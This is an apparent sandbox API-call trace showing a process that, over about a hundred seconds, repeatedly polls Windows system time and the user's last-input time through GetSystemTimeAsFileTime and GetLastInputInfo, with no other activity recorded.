	[0240.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf4400e10, dwHighDateTime=0x1d3d6ce)) 
	[0240.715] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0241.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf4dac770, dwHighDateTime=0x1d3d6ce)) 
	[0241.724] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0242.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf57580d0, dwHighDateTime=0x1d3d6ce)) 
	[0242.736] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0243.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf6103a30, dwHighDateTime=0x1d3d6ce)) 
	[0243.766] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0244.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf6aaf390, dwHighDateTime=0x1d3d6ce)) 
	[0244.780] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0245.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf745acf0, dwHighDateTime=0x1d3d6ce)) 
	[0245.794] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0246.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf7e06650, dwHighDateTime=0x1d3d6ce)) 
	[0246.808] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0247.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf87b1fb0, dwHighDateTime=0x1d3d6ce)) 
	[0247.823] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0248.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf915d910, dwHighDateTime=0x1d3d6ce)) 
	[0248.837] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0249.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf9b09270, dwHighDateTime=0x1d3d6ce)) 
	[0249.858] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0250.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfa4b4bd0, dwHighDateTime=0x1d3d6ce)) 
	[0250.864] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0251.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfae60530, dwHighDateTime=0x1d3d6ce)) 
	[0251.878] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0252.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfb80be90, dwHighDateTime=0x1d3d6ce)) 
	[0252.892] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0253.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfc1b77f0, dwHighDateTime=0x1d3d6ce)) 
	[0253.912] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0254.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfcb63150, dwHighDateTime=0x1d3d6ce)) 
	[0254.920] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0255.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfd50eab0, dwHighDateTime=0x1d3d6ce)) 
	[0255.934] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0256.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfdeba410, dwHighDateTime=0x1d3d6ce)) 
	[0256.948] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0257.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xfe865d70, dwHighDateTime=0x1d3d6ce)) 
	[0257.979] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0258.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xff2116d0, dwHighDateTime=0x1d3d6ce)) 
	[0258.992] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0260.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xffbbd030, dwHighDateTime=0x1d3d6ce)) 
	[0260.006] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0261.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x568990, dwHighDateTime=0x1d3d6cf)) 
	[0261.020] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0262.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf142f0, dwHighDateTime=0x1d3d6cf)) 
	[0262.034] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0263.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x18bfc50, dwHighDateTime=0x1d3d6cf)) 
	[0263.048] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0264.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x226b5b0, dwHighDateTime=0x1d3d6cf)) 
	[0264.062] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0265.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2c16f10, dwHighDateTime=0x1d3d6cf)) 
	[0265.083] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0266.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x35c2870, dwHighDateTime=0x1d3d6cf)) 
	[0266.098] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0267.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3f6e1d0, dwHighDateTime=0x1d3d6cf)) 
	[0267.114] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0268.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4919b30, dwHighDateTime=0x1d3d6cf)) 
	[0268.123] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0269.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x52c5490, dwHighDateTime=0x1d3d6cf)) 
	[0269.141] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0270.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5c70df0, dwHighDateTime=0x1d3d6cf)) 
	[0270.156] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0271.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x661c750, dwHighDateTime=0x1d3d6cf)) 
	[0271.170] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0272.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6fc80b0, dwHighDateTime=0x1d3d6cf)) 
	[0272.180] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0273.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7973a10, dwHighDateTime=0x1d3d6cf)) 
	[0273.196] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0274.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x831f370, dwHighDateTime=0x1d3d6cf)) 
	[0274.208] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0275.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8ccacd0, dwHighDateTime=0x1d3d6cf)) 
	[0275.221] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0276.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9676630, dwHighDateTime=0x1d3d6cf)) 
	[0276.242] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0277.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa021f90, dwHighDateTime=0x1d3d6cf)) 
	[0277.256] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0278.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa9cd8f0, dwHighDateTime=0x1d3d6cf)) 
	[0278.268] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0279.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb379250, dwHighDateTime=0x1d3d6cf)) 
	[0279.280] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0280.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbd24bb0, dwHighDateTime=0x1d3d6cf)) 
	[0280.294] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0281.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc6d0510, dwHighDateTime=0x1d3d6cf)) 
	[0281.312] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0282.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd07be70, dwHighDateTime=0x1d3d6cf)) 
	[0282.324] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0283.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xda277d0, dwHighDateTime=0x1d3d6cf)) 
	[0283.334] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0284.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xe3d3130, dwHighDateTime=0x1d3d6cf)) 
	[0284.350] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0285.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xed7ea90, dwHighDateTime=0x1d3d6cf)) 
	[0285.368] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0286.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xf72a3f0, dwHighDateTime=0x1d3d6cf)) 
	[0286.376] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0287.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x100d5d50, dwHighDateTime=0x1d3d6cf)) 
	[0287.392] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0288.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x10a816b0, dwHighDateTime=0x1d3d6cf)) 
	[0288.408] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0289.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1142d010, dwHighDateTime=0x1d3d6cf)) 
	[0289.421] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0290.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x11dd8970, dwHighDateTime=0x1d3d6cf)) 
	[0290.435] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0291.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x127842d0, dwHighDateTime=0x1d3d6cf)) 
	[0291.440] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0292.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1312fc30, dwHighDateTime=0x1d3d6cf)) 
	[0292.466] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0293.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x13adb590, dwHighDateTime=0x1d3d6cf)) 
	[0293.482] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0294.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x144ad050, dwHighDateTime=0x1d3d6cf)) 
	[0294.515] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0295.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x14e589b0, dwHighDateTime=0x1d3d6cf)) 
	[0295.527] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0296.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x15804310, dwHighDateTime=0x1d3d6cf)) 
	[0296.550] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0297.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x161afc70, dwHighDateTime=0x1d3d6cf)) 
	[0297.556] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0298.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x16b5b5d0, dwHighDateTime=0x1d3d6cf)) 
	[0298.575] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0299.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x17506f30, dwHighDateTime=0x1d3d6cf)) 
	[0299.589] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0300.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x17eb2890, dwHighDateTime=0x1d3d6cf)) 
	[0300.606] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0301.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1885e1f0, dwHighDateTime=0x1d3d6cf)) 
	[0301.617] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0302.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x19209b50, dwHighDateTime=0x1d3d6cf)) 
	[0302.634] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0303.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x19bb54b0, dwHighDateTime=0x1d3d6cf)) 
	[0303.664] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0304.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1a560e10, dwHighDateTime=0x1d3d6cf)) 
	[0304.662] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0305.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1af0c770, dwHighDateTime=0x1d3d6cf)) 
	[0305.675] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0306.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1b8b80d0, dwHighDateTime=0x1d3d6cf)) 
	[0306.689] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0307.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1c263a30, dwHighDateTime=0x1d3d6cf)) 
	[0307.703] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0308.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1cc0f390, dwHighDateTime=0x1d3d6cf)) 
	[0308.717] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0309.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1d5bacf0, dwHighDateTime=0x1d3d6cf)) 
	[0309.730] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0310.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1df66650, dwHighDateTime=0x1d3d6cf)) 
	[0310.745] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0311.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1e911fb0, dwHighDateTime=0x1d3d6cf)) 
	[0311.759] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0312.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1f2bd910, dwHighDateTime=0x1d3d6cf)) 
	[0312.772] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0313.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1fc69270, dwHighDateTime=0x1d3d6cf)) 
	[0313.786] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0314.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x20614bd0, dwHighDateTime=0x1d3d6cf)) 
	[0314.799] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0315.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x20fc0530, dwHighDateTime=0x1d3d6cf)) 
	[0315.813] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0316.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2196be90, dwHighDateTime=0x1d3d6cf)) 
	[0316.830] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0317.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x223177f0, dwHighDateTime=0x1d3d6cf)) 
	[0317.841] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0318.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x22cc3150, dwHighDateTime=0x1d3d6cf)) 
	[0318.854] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0319.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2366eab0, dwHighDateTime=0x1d3d6cf)) 
	[0319.870] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0320.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2401a410, dwHighDateTime=0x1d3d6cf)) 
	[0320.881] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0321.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x249c5d70, dwHighDateTime=0x1d3d6cf)) 
	[0321.900] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0322.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x253716d0, dwHighDateTime=0x1d3d6cf)) 
	[0322.905] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0323.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x25d1d030, dwHighDateTime=0x1d3d6cf)) 
	[0323.921] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0324.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x266c8990, dwHighDateTime=0x1d3d6cf)) 
	[0324.941] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0325.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x270742f0, dwHighDateTime=0x1d3d6cf)) 
	[0325.955] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0326.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x27a1fc50, dwHighDateTime=0x1d3d6cf)) 
	[0326.969] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0327.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x283cb5b0, dwHighDateTime=0x1d3d6cf)) 
	[0327.985] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0328.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x28d76f10, dwHighDateTime=0x1d3d6cf)) 
	[0328.995] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0330.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x29722870, dwHighDateTime=0x1d3d6cf)) 
	[0330.014] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0331.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2a0ce1d0, dwHighDateTime=0x1d3d6cf)) 
	[0331.026] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0332.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2aa79b30, dwHighDateTime=0x1d3d6cf)) 
	[0332.044] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0333.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2b425490, dwHighDateTime=0x1d3d6cf)) 
	[0333.053] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0334.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2bdd0df0, dwHighDateTime=0x1d3d6cf)) 
	[0334.064] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0335.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2c77c750, dwHighDateTime=0x1d3d6cf)) 
	[0335.079] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0336.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2d1280b0, dwHighDateTime=0x1d3d6cf)) 
	[0336.096] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0337.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2dad3a10, dwHighDateTime=0x1d3d6cf)) 
	[0337.109] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
